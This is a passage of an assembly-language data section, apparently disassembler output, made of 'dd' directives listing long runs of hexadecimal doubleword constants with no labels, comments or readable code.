8A557F79h, 0BC09532Bh dd 4236A50h, 34EF5B08h, 4DBE013Ah, 160948h, 76787DD4h dd 6EE21732h, 4232F873h, 979106C4h, 0E798317Fh, 0F07B4971h dd 0AC5B69C2h, 2BE52A40h, 3F70176h, 7EBF57DDh, 0C09D753Fh dd 0E11FB411h, 174D0948h, 93465ECDh, 75D85D05h, 7D241C1Dh dd 0F0290563h, 1007122Dh, 0F04A1214h, 0D2B7052Bh, 0E95E0C50h dd 884C85C9h, 0B45AF305h, 5AC228BBh, 67CC7E84h, 0B19A9552h dd 55A66A2Ch, 84623F11h, 2DB4EED1h, 4E187A97h, 4B88B88Ch dd 0C62A19A1h, 0C0BD0648h, 435F13Ch, 0BFE93070h, 0F178EC34h dd 8410BEA8h, 0E7A565Eh, 0FD82826h, 451B2540h, 354D02B5h dd 0F1A983DAh, 0FC577962h, 259C24C2h, 1689301h, 93653A1Ah dd 0E2BD75EAh, 8E917ACh, 0B3EFBB85h, 56E7250Fh, 0A68418Ch dd 48F23E10h, 6C2808D6h, 9F60CB1h, 7FCF8442h, 9BE2860Bh dd 0ACF4DBFFh, 0E0755A4Dh, 4C4F6C72h, 3912D141h, 60D6A2F3h dd 616E661Ch, 6ABB3177h, 9EF3290Bh, 1A95E953h, 39470AA0h dd 0BC08AA05h, 675C271Eh, 5B62DF25h, 95CBD60Fh, 0F883A3C3h dd 2EE5C2B9h, 219656A3h, 80DCC62Ch, 3F5FB930h, 4C31759Bh dd 0AC4F4C1h, 205BA473h, 378B2D12h, 0E4F28E40h, 0B1C874D2h dd 82EE1081h, 0DF973BE9h, 51AD05E7h, 27E958D1h, 59429461h dd 3EF35F89h, 209352B3h, 6FC48978h, 0D86B31CDh, 4A4E5784h dd 43531C22h, 1FBB9CCDh, 82DEA617h, 49A74AA1h, 5F020728h dd 0FEB3E94Bh, 0E5F7258Fh, 0FE8E35B7h, 7DC936E7h, 7FED11E9h dd 0CAFDEA5h, 99A5EADEh, 0CD3B5BBEh, 0C42DFF2Dh, 47D95C9Ch dd 6626354h, 88C66703h, 0DA20672Fh, 51CE859h, 1967B95h dd 38428903h, 0D2722958h, 0C9CCD37Fh, 25F3CC57h, 7EF894E9h dd 7309549Dh, 75C69630h, 4BF73EFBh, 0D2181A1Bh, 91B365FFh dd 9EC2587h, 6B5170BAh, 93567855h, 0FD5CA7BFh, 98D62922h dd 0D300720Ah, 0B945B504h, 80BD6D7h, 0B23F4241h, 0DF2D6502h dd 13FA832Fh, 10D8D906h, 58CC6B2Eh, 9371F082h, 963BF014h dd 1CE947E5h, 57F65CD5h, 0DC977370h, 66E9706Eh, 53BEB24Eh dd 0C3C59772h, 187592E3h, 51B5DE27h, 58680406h, 50B8CC57h dd 88CDB018h, 0A0B65284h, 55AF094h, 0DCE9C828h, 0CAC04080h dd 56D43014h, 20C79248h, 5B61FFB8h, 531BA03Fh, 9B23FF97h dd 3976F53Fh, 16A05ABDh, 0CACE3158h, 0C0BC4E3Ch, 0CCA0E982h dd 9AB0A946h, 0CABCE06Bh, 0B35A8805h, 9F253346h, 0F20416C4h dd 366BBEA4h, 0F7FF9A1h, 0A4575B30h, 7E5F6A5Ah, 89F2DE37h dd 0BBD87C3Dh, 33C1FECAh, 0BC2FB968h, 17B8D4D3h, 6C013009h dd 2B754CFEh, 5C657F20h, 2471926Ah, 0BD6F04FFh, 446E2C85h dd 1287D62Ah, 0B49FB502h, 81F1297Dh, 0FED21877h, 0E813423Eh dd 0B7C02F32h, 317037F9h, 57AF92DAh, 79D79A09h, 0E857A588h dd 5C26E443h, 0EF2FEC13h, 8BBF75D4h, 297EE9CFh, 5745293Eh dd 68415A65h, 44247DEDh, 2EDF4154h, 0EFE528E2h, 48E45697h dd 120FEE1Dh, 0EFE12002h, 31676A20h, 1718E324h, 4B7C8951h dd 402D050Dh, 84EAA55Fh, 5252C4A6h, 3C04B108h, 7FE9A0A1h dd 961FB4A4h, 87B3C59Bh, 0BDA7D289h, 35E9AC4Bh, 0CA6D6E6Eh dd 0B01FD647h, 1EC15816h, 99504AE4h, 80EE97A8h, 2E4E14E1h dd 0F5294812h, 42084F10h, 0DDFF3CF2h, 99DA3B32h, 0E6410A5Eh dd 0BF540CF8h, 7AAD2AD9h, 98A99FEh, 52ABDBD1h, 3E68F701h dd 96CD515Ah, 0A5FF04CAh, 1EC234D3h, 40524516h, 5E68F1F0h dd 843FB9AEh, 7797F043h, 34AEC695h, 0A628ABF7h, 0F5AC25E9h dd 17617AF6h, 0FD2EFEB9h, 0E8DED316h, 9E2DBF4Fh, 6584F664h dd 45B62A1h, 0AAD903D7h, 7E52B649h, 0FE68168Bh, 8551B7CBh dd 0F516BE2Ah, 0C55FC2BEh, 2504D455h, 7AEFB761h, 69FAB784h dd 683130BFh, 2604D782h, 9213C1EEh, 86B62B55h, 0ECBAB09h dd 5FF92C83h, 0FE24FA76h, 17424C56h, 8E65E67h, 0BB00C075h dd 0E726999h, 5CFAB54Bh, 69F5C02h, 0FDC383B1h, 0C4D45409h dd 0FF05EA8Bh, 0F9C1982Eh, 7BB1C072h, 0BA4A7C81h, 8DD3DF3Ch dd 1D79FC1Dh, 8B77A1AAh, 0EB05D97Ch, 7ECAE411h, 6184B237h dd 84BFD794h, 0BCB3AE51h, 0B2BD8875h, 0DB47A4A1h, 975E8ACh dd 779F2D48h, 0B74E7970h, 0BD890512h, 5DF3DC7Ah, 3F58CB94h dd 0C67197C9h, 4FE688h, 1114B850h, 40005B70h, 3502E0C1h dd 0B8CB3832h, 55D801FCh, 45915CBDh, 4CEC3BADh, 8094BA2Eh dd 0CE805966h, 0E628C098h, 0AD19EC08h, 5685F788h, 0B7066270h dd 0BD5FDF00h, 0FE0F6FE8h, 0A9C5313Ch, 0F9F4D09Fh, 4F3DDE2Bh dd 0BE9913BBh, 0FA4EA7E2h, 44E90FD1h, 59A002Bh, 2E3927E4h dd 720E49Ch, 31627991h, 15F9F6C3h, 256FBA03h, 0BF6E3D05h dd 0ABA490E2h, 45EC4D21h, 7B736800h, 8B02DB0Bh, 87C6572Ch dd 7D59542Fh, 9592A416h, 911E4160h, 0C101BC6Eh, 0DE02A80Dh dd 81E66321h, 0FF2B55E9h, 582D0523h, 807CB3B2h, 5368042h dd 0D404AB66h, 5FABDED9h, 8507D3CFh, 3E6DEB6Bh, 0A59FE87Fh dd 0B7ECD700h, 5C019541h, 95A80FAh, 63DFBBC9h, 5573D17Eh dd 0BB5FA74Ah, 5B661844h, 487B578Bh, 0E820DA51h, 4C5BF09Dh dd 0D189EFD3h, 43BB0900h, 3178E692h, 0E54AFFEh, 4F4A35C1h dd 0FBA441ECh, 95B7DA61h, 5E4FB804h, 0F45BDFACh, 41BF6D42h dd 0B0D180FDh, 1860BC4Bh, 111BE996h, 0F75D69B5h, 5E36B82Ah dd 4E8FEEF4h, 0B249A34h, 0E7DF8AE9h, 0B8310D0h, 277A65E9h dd 8772EF49h, 2A257DA5h, 0F4A9A582h, 57304F52h, 354A0C55h dd 0E9290AA1h, 8287BC7Dh, 46A05D79h, 60F7F1D5h, 7365868h dd 4A430CC1h, 0FAE8B229h, 69919C60h, 243A06B2h, 0F74CA963h dd 0CBF32526h, 25C9B004h, 0BBEDEF92h, 582F6E28h, 52A00366h dd 2D246D84h, 630F0F78h, 0C03ACE37h, 3D57F6E3h, 4B689D06h dd 21271454h, 0B066D07Bh, 0E32B607Dh, 27C034C2h, 0F100AF90h dd 726E798Eh, 5A70E941h, 8481A84Ah, 50090BD5h, 0BFC22E06h dd 0D0B0F0FCh, 8D5ECDF2h, 722CECB4h, 0EC955876h, 0D2557C10h dd 6E127CADh, 0E428BEF8h, 0BAB540D1h, 8563FD0Ch, 91286A38h dd 63581663h, 0A5F95790h, 0BF9840B6h, 0E53DA924h, 0D4ED3C82h dd 0CD0BEBA2h, 0E321B823h, 569DF236h, 96400033h, 2C73EE81h dd 72C53A27h, 9EED00EFh, 0E9B24F78h, 0A5C15886h, 7EB067C3h dd 20FCAC70h, 0B7B8FEBBh, 86259B5h, 562D5E75h, 6851C049h dd 0C0B41207h, 0B67C4960h, 21E9160Dh, 0C9D6ED9Dh, 14DAF350h dd 76849040h, 0D03CD3BAh, 0B826B9h, 0F2EF0B9h, 0C889370Ch dd 41787E8Bh, 0CED15BDh, 0B850D3D1h, 7BF0F15Ah, 3BC24C89h dd 90019812h, 8463839Fh, 7829173Bh, 280846FDh, 0FA00BF4Fh dd 53664A04h, 764170B3h, 8502BFD8h, 795481B6h, 300EA1C2h dd 598016F2h, 6087E55Dh, 29DA292Dh, 5660B5F4h, 0A8441568h dd 0D3E72884h, 0C2DE40E3h, 5316CC43h, 0C9B05172h, 0DA52850Bh dd 0FD0BDF6Ah, 0F71C94D4h, 27ED51E5h, 0E18244DEh, 61A553C3h dd 0A620F1C8h, 82345E15h, 700901DDh, 0F1D0BF70h, 0F240B4BEh dd 583171AAh, 6609F027h, 7970871Ah, 2EA4C848h, 0E610EBB3h dd 0F926294Fh, 5B046EA2h dd 94875453h, 37AF7EF4h, 3B07F06Fh, 78BD5D75h, 625AC1CFh dd 0D8456523h, 6917DFE5h, 0EA073E2Dh, 3B115C77h, 0F0C9C631h dd 109208A4h, 38D458FEh, 5FB9F64h, 895AD3C5h, 649ED9EBh dd 99FE526h, 7D7355C8h, 0B54CD5E9h, 5D256D0Ah, 47008B39h dd 686A9C7Fh, 34234EC0h, 0E99E204Ch, 44B78F2Ch, 0BA34F06Ch dd 4DB807EDh, 0A335D920h, 0BF05597Ah, 0FBABE4C7h, 8D641B81h dd 28450400h, 5C2CD03Ah, 6D0C84C9h, 84565F04h, 0A90485F5h dd 2BA1412Dh, 17C49B00h, 0B5093EA5h, 461C75A0h, 0EE805087h dd 277A04CFh, 16108E9h, 0BFBD840Fh, 11EA6800h, 90A7E591h dd 828380FAh, 1A968B76h, 0C1FE3085h, 31C2012Dh, 14BA2FD7h dd 74502C95h, 0EFE3C05Ah, 0CEA30ADFh, 0B5FB892Bh, 7077022Dh dd 1772D854h, 0F82DE6E9h, 0D485C9D4h, 0D67925ECh, 0AD45D769h dd 29F1428h, 9AD2733h, 2EC9FB9h, 167F8B2h, 0FCB6525Bh dd 0CC35EE80h, 0F3E0E0F6h, 0F76760BDh, 0E30D4AE9h, 0E0BB0038h dd 314C13D9h, 8409DD8h, 0F3004FD6h, 0E8D14027h, 9960C35h dd 0EEE9025Dh, 0B02CA360h, 4268660Eh, 0F94B9B22h, 466C1403h dd 78C38082h, 0A9F06BF5h, 92C32C5Ah, 43861A5h, 1FAC95D3h dd 1932C784h, 98C3BE36h, 77535066h, 0C2885FB7h, 38794EBDh dd 0ECA2F3Ch, 6444F03h, 75E46601h, 0EB36CEEEh, 0F69BEFC1h dd 2E7ECDFh, 0D9F0BDEh, 436FE67h, 0F5FEFD9Fh, 93A03A80h dd 4D791DCCh, 3784BD7Dh, 0FA853216h, 60D78BF1h, 69301CE1h dd 0CAB745B0h, 0FD080B19h, 0B1F890C6h, 0A7183258h, 0FDC9E1B2h dd 0D7F6ADCEh, 135B4749h, 0A0EC3E6Ah, 1884BAD2h, 0FBF684ABh dd 79D8AD81h, 4A40B74Dh, 5E2A76CFh, 6C70FBDh, 0BA297E04h dd 2145812Dh, 4701B1AAh, 80C85B51h, 75651958h, 17BA6716h dd 0EEDDEF19h, 7AA8BC40h, 94394B6Dh, 0FC08165Dh, 7FE9B1EDh dd 0D97AAC35h, 2847F107h, 55525B3Eh, 0C05F3923h, 4C6252CFh dd 0D1250E21h, 0F9E80E04h, 0F67B07DEh, 978045ECh, 0B6638h dd 0BFA92C14h, 0FEABE5Bh, 2D058037h, 0B0B173A0h, 98587C54h dd 0C0811E0Dh, 611FF071h, 70B5011h, 0DC1CB368h, 5ED18F62h dd 0AC23E7C1h, 0F18E074h, 81C9B700h, 0C703A0F3h, 6DDF36Bh dd 958B6789h, 9F4E0C07h, 5783C36Eh, 36283ED1h, 0D4759ACFh dd 2967E207h, 2ACC05BDh, 3180689h, 101B6195h, 28E8833Ch dd 8718D166h, 29584813h, 701FD415h, 18850F0Ah, 8DBD043Bh dd 63181226h, 0FCF317h, 850523AEh, 4748FF78h, 63245B90h dd 951E1E8Bh, 20B900A0h, 0FA4476B1h, 0A11E94D1h, 83426B17h dd 0E0C71430h, 77A2265Fh, 0B3670192h, 8D18379Dh, 6352F0B2h dd 6A169800h, 4A3C9AAFh, 42BA1FCFh, 4D61426h, 8DD7ADF0h dd 66CF0D0Ch, 0CB18DDh, 6576A092h, 5DC4393Dh, 0E8F9D61Ch dd 0CF44A500h, 0C4D2883h, 0A72ACA25h, 22845529h, 6F420668h dd 4129126Ch, 4FE2284h, 0A2115B42h, 0C37D10BBh, 0FB7A2207h dd 0B0A90EBh, 17000DFAh, 2A129718h, 13ED9A2Bh, 0B63F36h dd 0AEA67ECBh, 0F5009205h, 85A314BFh, 1B3648Fh, 0D5759ED6h dd 0FC846907h, 56038B20h, 65318F6h, 0DDA1B830h, 0D900396h dd 446F7DE5h, 0E4235CC9h, 0C5076D94h, 92D43158h, 3E1DAA40h dd 0D6C800DDh, 0F023C702h, 0AC58520Ah, 54EE00A7h, 0C2163044h dd 0D9A5001Ah, 62499199h, 2D0F03FAh, 40225B40h, 5977BF66h dd 372F484h, 67F2FF12h, 17B09CB7h, 47003A55h, 80C7A6E8h dd 39C9D738h, 34805097h, 3AF63E76h, 331E32BDh, 0C60040D0h dd 26FC51E0h, 3B82902Ch, 507E14CFh, 0F422E8DFh, 2F9F0034h dd 3FEF045Fh, 0C200E962h, 0D3F8B34Ch, 0B0F44F63h, 8B4A00A1h dd 87058C94h, 161C9DE5h, 1A40A990h, 2DB4BC6Ch, 0C01F0042h dd 1BFCD6E2h, 82003BD3h, 7974CFDDh, 130C38h, 153310AEh dd 7DB175Ch, 60695300h, 0D7E79D94h, 3641134Ch, 7D00BA45h dd 89FBB47h, 0D4B50B83h, 8100A58Bh, 487A0E34h, 723AD707h dd 0B991D245h, 498006F9h, 25E66D49h, 1077C3D9h, 57377E00h dd 1A31A874h, 0BB1C0947h, 70072C75h, 8A1B9103h, 18221Dh dd 0F2B73837h, 0BA4ACAh, 565ED6CDh, 869DDB3Ch, 0B2658E00h dd 0C3749FD5h, 590E5h, 557E36D3h, 0A44927F5h, 320F648h dd 0CDFB15B6h, 0E5A2E8DDh, 8A3E0305h, 8EB58CD3h, 0AFE81DDBh dd 0B4925813h, 0F894EA51h, 801EF9C4h, 800E43Bh, 3E0A9916h dd 277000F3h, 0F61C8197h, 0D003428h, 0E1697E1Dh, 0AB8C17h dd 0D4D8E837h, 0FD9368C8h, 41186700h, 48A5F1B6h, 6FE70ED2h dd 8DA0B74Ch, 21C65CDCh, 93F60100h, 0FEE4753Bh, 7A47001Bh dd 0A1ECCA7Dh, 0BF070EF1h, 32C89D6Ah, 0B957C790h, 0D9F409F2h dd 108044A0h, 0B977704h, 270DA00h, 0D6119AFh, 4F5B391Bh dd 0C0801500h, 0D74282A5h, 49D42800h, 2BB7DB4Bh, 0EB750489h dd 80EFBC04h, 7D802294h, 91218700h, 58FFCF46h, 899B0433h dd 0C05FD662h, 792FBD00h, 261D8C98h, 0D0C10AEAh, 1D60760Ch dd 8E48DCh, 41943A82h, 438CD6AAh, 1503BDE0h, 5002DFEEh dd 0E45A806Eh, 754B0061h, 40CBE95Eh, 2D00FB45h, 161CDE0Eh dd 0FE1481h, 0BC11A107h, 0A0991072h, 92417304h, 0BA00D03Fh dd 0C0779CD8h, 476CE81Eh, 5A713BC1h, 0ABDCCCE5h, 5C1800FBh dd 1333A2B7h, 9C00252Ch, 0AD363DEFh, 4201F8h, 4CD4F4B1h dd 5FF7AA44h, 98D74924h, 1A836B00h, 4C5B2807h, 8C00FB56h dd 0A95F7A84h, 9C0E71F1h, 923938EEh, 0C50F8C01h, 2980432Fh dd 47718F97h, 0C1B0CD7Dh, 188A6630h, 4829F956h, 84091835h dd 3D000BBFh, 22BBA427h, 40249424h, 5BA31800h, 0B216C0h dd 1CD9C625h, 26C40884h, 4CFCC0Ch, 2C9851h, 0AC58297Dh dd 0E2EE4E38h, 0BC289F60h, 35CCA0Eh, 0A5935657h, 63C01681h dd 0F0A0BA35h, 0FDE203A7h, 7982F63Dh, 76563C2Ch, 46E0C100h dd 0C8E62h, 5AF9CB1Dh, 477B9931h, 3C03348h, 97AC5FD7h dd 0C09DB23Ah, 6C0E70Fh, 495AF4F1h, 0DD3C381Bh, 0E1110023h dd 3BBBA319h, 8A740026h, 4DE424A7h, 0D44894BEh, 0C0E04041h dd 2D6D7209h, 0A6B420D3h, 131A53h, 63A0B2F0h, 30FACD14h dd 0EAA1200h, 2B93A50h, 819000D7h, 0ABE3ADF4h, 5C0024D8h dd 1C7694A9h, 9DE1559Eh, 80DAFCE1h, 7FD78AF0h, 0FF46AAh dd 94360B1Bh, 86E3B9A7h, 0D30704B0h, 0DAEC3787h, 8D9D80DBh dd 39BE1F5h, 1F7DD988h, 0BCE9C6ACh, 6E2AC467h, 0EB5C0D13h dd 6529000h, 12CC5E26h, 46802CF8h, 50814990h, 8B3CD700h dd 59D8FFAEh, 3FB70099h, 697616A5h, 2002FD8Eh, 0F58FEF14h dd 83FC832Ah, 9D0B889Ah, 1BE2AAh, 28BFB76Dh, 3BCB4A72h dd 0DF564D00h, 1E5BB3D7h, 0E50E0005h, 0F41F5431h, 0EF006442h dd 0FEB552C4h, 13A774D5h, 0F124C9h, 7C963680h, 9009CA6h dd 7E31D182h, 0EDDDA9A3h, 1AFAF8h, 2303E03Fh, 0D9B640AAh dd 8A70CD00h, 0CCBA978Fh, 15EC0FDCh, 0A8E04F5Fh, 9D48C8F3h dd 80178038h, 0F863831Fh, 3C0BBB79h, 0CB8004BAh, 0B87B5DAAh dd 0F4A0D26Bh, 13EEF48Eh, 88849C00h, 85DFAC63h, 0E0B9486Eh dd 4B60EC83h, 4027E7A8h, 0BF00100h, 4811211h, 951E0265h dd 98292810h, 0D1209464h, 2ED703FCh, 0EEBE0F07h, 3EAC2800h dd 43DF23F1h, 99930EC6h, 7DC0C1D8h, 81545F9Ch, 0B627FA00h dd 8BAA1D69h, 0CB3200E9h, 1A6561EBh, 70C00582h, 398DD58Eh dd 0B9C100F2h, 8687E2Dh dd 0F500CCE3h, 28BBB6F8h, 0C54F5Ch, 60A0EE13h, 0D43342BDh dd 84CF48h, 0ED5B168Ah, 71F21F56h, 18BC6054h, 67AF5360h dd 0C8386A2Ch, 0FFB40B3Bh, 113C025Eh, 0EFD0C8DEh, 2921F68h dd 29A58F8Dh, 0E6F63A80h, 261FE713h, 674BB0CEh, 61740043h dd 3BF52BAh, 0E9CEAE4h, 2380B654h, 51025E28h, 0F3C7DFB4h dd 0A83C042h, 5DE500F9h, 8794794Ch, 8B3C2EFBh, 9BBC095Bh dd 0C0BD0F67h, 17A2DFDh, 250602A0h, 97175B38h, 0A288A440h dd 3A182700h, 3F53770Eh, 2CAF0444h, 8592C417h, 0EE588044h dd 8601FAB2h, 15098B23h, 0C0406501h, 7743071h, 8408A61Bh dd 396FA0A3h, 102E86FBh, 2C09287Fh, 3C190035h, 4FE6C4h dd 0D455D6FEh, 0F2211252h, 28D34324h, 90DCB601h, 1C24C47Bh dd 7CC707D4h, 70C0E156h, 5814E85Fh, 3F9EB308h, 39E3801Fh dd 0CDFCA93Ah, 0C8BD4500h, 0AE4050D0h, 4D6312FBh, 6F2803D2h dd 94E3168Fh, 3E759900h, 0BE4366B0h, 9DC600FCh, 478C9AF4h dd 0DA00AB2Ch, 0EB06832Eh, 4029D1h, 9C0E9D5Ah, 0A0F0D453h dd 2E65D13h, 0D32EE400h, 2E06E573h, 39C309Bh, 5892E71Bh dd 0A5EFFFC0h, 0FB0FB309h, 0B534007Ch, 4CA9413h, 0A19244AAh dd 3298D2C7h, 6F000C52h, 0B24FFF14h, 5CD2F9h, 7323C843h dd 1B2FC490h, 0E49BBA00h, 0B597159Ch, 60261CADh, 7C2A40B9h dd 523DC54Ch, 0D2D06F18h, 2C0BE3F9h, 9435792h, 0C8A08476h dd 3A6FB44Bh, 19CA9D07h, 0BA70175Ch, 6C82C2h, 0A803CB97h dd 0F13A8ED4h, 0FD037898h, 0DA2594C0h, 9E9DA061h, 0C1C200F5h dd 0D7147027h, 5CB031CFh, 609FB58h, 5EDBD1Ah, 0CAC80080h dd 6F50B89Eh, 0BF00C5D3h, 0FD062694h, 0A39D6Bh, 0D9B40356h dd 0F307E864h, 8CFB48h, 0D8D69E76h, 7F2C02h, 0D13C64Dh dd 0F041C92h, 0E8A4E400h, 9881DD8Ch, 1BFD0731h, 21BE0815h dd 0F8A6202Bh, 0E2003296h, 0EF47A5A3h, 0F0B68Bh, 7DAB4FC7h dd 63867925h, 39D74800h, 4CD12773h, 2278386Ah, 3175DD8Eh dd 1D46AE20h, 6B70DB25h, 2FFA138h, 577C38D5h, 4644E0E0h dd 4E243FFAh, 8B2F9102h, 78400D81h, 74017386h, 971CEA18h dd 0FBC094AEh, 56C31DDAh, 0F8A94A72h, 8C2B0EA2h, 21FC178h dd 1219503h, 0A909570Ah, 282017A7h, 0BED30BF7h, 18007137h dd 0B7AF6A10h, 0E2870500h, 86B268A2h, 5E5C008Eh, 2A6F3109h dd 0B4053D15h, 8417EAA8h, 29C7B400h, 0C44B73h, 22940311h dd 519E350Eh, 0A7CFD202h, 0E09AAC43h, 1EDFA4B7h, 0DC053683h dd 0F2E3000Fh, 5F5CF780h, 0B9B4E600h, 0C14B5E2Eh, 9365003Ch dd 8612280Ah, 0B600217Fh, 83E3F177h, 0FD815Fh, 967E328Ch dd 61BF6329h, 22CF3103h, 8A092647h, 0E571C0B7h, 6E2000DFh dd 67E8D993h, 5900F19Dh, 0E7102D1Ch, 90C69B83h, 1F4A00C3h dd 76505758h, 0EF001931h, 0F371B41Ch, 35D85EDh, 16E3CB8Fh dd 55C0FFD6h, 6E007EB1h, 39906DC3h, 0BD8A5DFDh, 79786DF8h dd 1129AE0Fh, 0BC4000DCh, 1C8F14E6h, 0C7DE34D6h, 0F0647109h dd 626E8327h, 0A23F2EE2h, 0FDED004Ch, 525D2923h, 2A6800BAh dd 2259C2C5h, 0E0F29B32h, 6283A496h, 26CFC844h, 144CB60h dd 0E6392D8Fh, 0D89050FFh, 4B00AF07h, 5015C2BCh, 5CB34F6h dd 0CF497DCAh, 0D2C2C067h, 3A00A785h, 648D3153h, 0B8342C46h dd 0E84987Bh, 35CD9B10h, 0D1206FE0h, 2113D832h, 1C00B785h dd 0B6C0CE45h, 14954C13h, 259B5000h, 5A940D64h, 381ABE00h dd 5DA29362h, 0E08D50F5h, 0EE6100A5h, 77BE099Bh, 0FF03D06Ah dd 0A81F83B5h, 0FC0BE0D1h, 489EAD8h, 0ECDF63Dh, 0FE64F060h dd 0A30EF775h, 60E9CB50h, 78023479h, 3B1D0060h, 51038A1Fh dd 7400B909h, 5FA63842h, 1CDDD65h, 0FBC59D47h, 64EBB7A1h dd 0B10D38F4h, 0D8A7605Dh, 53636080h, 0E2E42A78h, 0F286FCEFh dd 40AF1005h, 0B4D08054h, 348A942h, 873ADBD1h, 41E7D9AAh dd 0BC3112BEh, 0AFF87520h, 188830Bh, 5A7107A5h, 0E20A0E11h dd 688346F9h, 6BC4FAD6h, 68AF5033h, 0D24805C7h, 4EA7EDh dd 0A465D48h, 5A0391ECh, 0EDF29625h, 0DFD1E9A9h, 5AF3097h dd 21FE1B7h, 66EDC12Ch, 8AE4070Fh, 8B4AA0BEh, 2C632395h dd 3A1737h, 645ECD80h, 0A600BFBEh, 76B9291Ah, 85D365h dd 0ECE74225h, 9746D043h, 69BEBD16h, 0D84BE0h, 0E6660C4Ch dd 0F0CF76B7h, 6B0A1300h, 77B2E302h, 90580737h, 8014F66Dh dd 690C7F83h, 1E549100h, 0E0E9AA68h, 919448A5h, 0B180BB0Eh dd 0B0A8FAA7h, 0C962BDECh, 971E1B03h, 338887Ch, 99803FE4h dd 687E3CB3h, 93981806h, 1F1F73Dh, 9C1DA9E2h, 0E065745Dh dd 51E9AA53h, 53B74A80h, 0A6C0BCA4h, 5319869Ch, 0C9216AABh dd 60CF04D0h, 88E31195h, 0E6283537h, 520C1CDEh, 11F14A6Ch dd 1A0C3C56h, 815A5198h, 0A51816F8h, 0C211573Dh, 0E7960864h dd 42002EC5h, 7990A350h, 59F88428h, 89F3C500h, 0EA764498h dd 82667D2h, 0D7204C82h, 6933D410h, 1F204701h, 876727C5h dd 0FCCB7310h, 54568790h, 0E10A0336h, 5C76D689h, 0AD07ED80h dd 0ABDDD001h, 2C1C8C3Ah, 0F0D925F0h, 4BDC406Dh, 0BDD1E365h dd 90215D83h, 5CD970h, 938B97Ch, 947A4FAAh, 27E48302h dd 8444DDE6h, 3087B7B0h, 0E80142E4h, 9F2EBD59h, 494C3770h dd 1CE459E2h, 80584809h, 0E765573Fh, 6F003C90h, 7E71044Ah dd 70D1EA0h, 0AF0F815Ch, 6045061Dh, 3679AE15h, 82350E94h dd 1A1CA073h, 5113F16h, 5F3E52B4h, 0A7F383EEh, 46AF70B8h dd 8BE7CD07h, 0B3F0E1F4h, 30B1C48Dh, 62492F7Ah, 200051A4h dd 5CC37B8Eh, 0F0F73EEh, 3EE24472h, 0E8874060h, 3D79E339h dd 5BB390A0h, 66B59A03h, 0F3A710F7h, 0C1E7D03Fh, 1528CEADh dd 3BE00250h, 486ECE40h, 4A04E620h, 231B00B2h, 5F10A382h dd 9BB89A1Eh, 542CB140h, 62EED64Fh, 0E5E6E0D7h, 0DFB098A3h dd 67A030D5h, 0AB005FC1h, 50FB7C05h, 604B795Dh, 0F08D685Ch dd 2C7C372Fh, 97DB0B01h, 888C119Eh, 0F07FCB60h, 0F67B7CC0h dd 0C1143E71h, 146D6814h, 9F891Fh, 0B7D3B228h, 7D1FF4ADh dd 0CD0758D6h, 0C4C0F2AFh, 0E7F637Eh, 3AF731BCh, 711B8260h dd 5618D8D3h, 27389E8Fh, 6C280323h, 0F6B6487Fh, 0E136E5D8h dd 80911A39h, 0FFD2711Eh, 184EC711h, 208657EEh, 0DA14A36Ch dd 0F120187Ch, 2818E6C0h, 0D3283260h, 1CD92Eh, 0EB604F59h dd 0F614CAF1h, 64327518h, 3E0D3C0h, 132CA63Fh, 38A6CF57h dd 0A800F37Ch, 9A148D8h, 0CC695073h, 8A21D708h, 5BA8CB00h dd 46185597h, 0D104018Bh, 76B5D091h, 0A2988F9Dh, 1A2840F2h dd 60518E71h, 932C9067h, 190EDB43h, 0EF4699CBh, 598BA760h dd 0E2D8E070h, 2B8C1898h, 3B20C129h, 7D14C902h, 0E1D8FFACh dd 0DD40CB24h, 0D0F469h, 0CF9329B1h, 0A9C72FE6h, 0DB6464A5h dd 0D36D4760h, 79ABF10Bh, 0D9AF8041h, 0B8CAE6CCh, 0ADE480A4h dd 0F8571EA9h, 216C8318h, 18059661h, 701E05E8h, 18F2C443h dd 88186462h, 0A8C1601Dh, 8C487EC6h, 7620DA45h, 3C7477A8h dd 60006A28h, 66F8B3AAh, 0CF0A36EDh, 0A06DB523h, 0B4381C80h dd 0FAC7928h, 0D586E6A3h, 0A8AFA980h, 7E018597h, 7A8F45D7h dd 0B3CFE371h, 6C380048h, 9B1F81E9h, 0E200F043h, 3DDCF567h dd 0FC91E27h, 98DDCDA8h, 0ADDF7DC0h, 0B80059F3h, 0C4CED39Ah dd 1879A99Bh, 588EC593h, 0EE300648h, 73CEF84Ch, 0FAB709E1h dd 8405C5CAh, 3B801FC6h dd 6854E00Ch, 0EF80CB9h, 8BE6C201h, 0B3ED28EFh, 21530898h dd 0E0E8E2Dh, 0FE402A2Fh, 2A9FDC67h, 43EE78h, 3BA836F3h dd 0AA3EBB9Bh, 3CA90C0h, 2496C71h, 921ADA26h, 0C0AF1D10h dd 0A8C28031h, 8C7948C5h, 91D644h, 9C06A87Ah, 0BADD4BFDh dd 945B5602h, 407D0214h, 505C7C94h, 3CAD28F6h, 0F40193B7h dd 0D502E088h, 0B374203Eh, 26FAB10Ah, 0F60684CDh, 141224Dh dd 0E90E6CC9h, 41941AB5h, 504C449Ch, 1470FACCh, 7D88770Fh dd 0A810470Ah, 1DFDFC70h, 0DFF200EFh, 205DF08Ch, 2D0AC31Bh dd 0ACBB4C48h, 1DE9E180h, 90158A50h, 7CF88104h, 0EF999F10h dd 9CF61012h, 26FE9809h, 0B219A9Ch, 3EFE1BDh, 8D810100h dd 0FE03E7DCh, 5B47454Dh, 0E1ADC81Dh, 0B5C6049Ch, 809369B1h dd 2BBBD00Ch, 2ACC3454h, 2C732075h, 2283DB02h, 80D9A6EBh dd 5D55AAC0h, 5728151Fh, 53149CCCh, 9E80A02Dh, 59B0228Fh dd 44330092h, 0B830994Bh, 3F5F6A0h, 0B1783C24h, 0DF98067Eh dd 0E049C1B0h, 8498721Ch, 0CE9AE488h, 187980A9h, 1FEF0898h dd 0BE70E4F6h, 78EF39E0h, 0B951F80Fh, 0D86055E0h, 0A930228Bh dd 3A059963h, 0EC24FD65h, 466C902Fh, 0EC502E1h, 3183E6C3h dd 8D361050h, 4797000Eh, 0A6EE5AA4h, 0A8028F13h, 0AA7C9618h dd 0C2104002h, 192212E0h, 0A0241035h, 54E23442h, 63D1A30h dd 4E1E1B71h, 5801E974h, 0EE46033Eh, 54DC06BDh, 0DC3A4826h dd 98196864h, 0A809CD94h, 9CD148DAh, 0C58C00FCh, 611838A8h dd 400E560h, 3D3FA772h, 0C777F73Ch, 0E7EE8C71h, 7401590Bh dd 0E8B8D6CBh, 7604FFBFh, 0F04C032Ah, 0FA1928D6h, 0B1E577CEh dd 478B9268h, 0F1EB78E4h, 6254F87Ah, 8691F20h, 8B911E42h dd 0C26D408Ch, 3C247ECFh, 12F73547h, 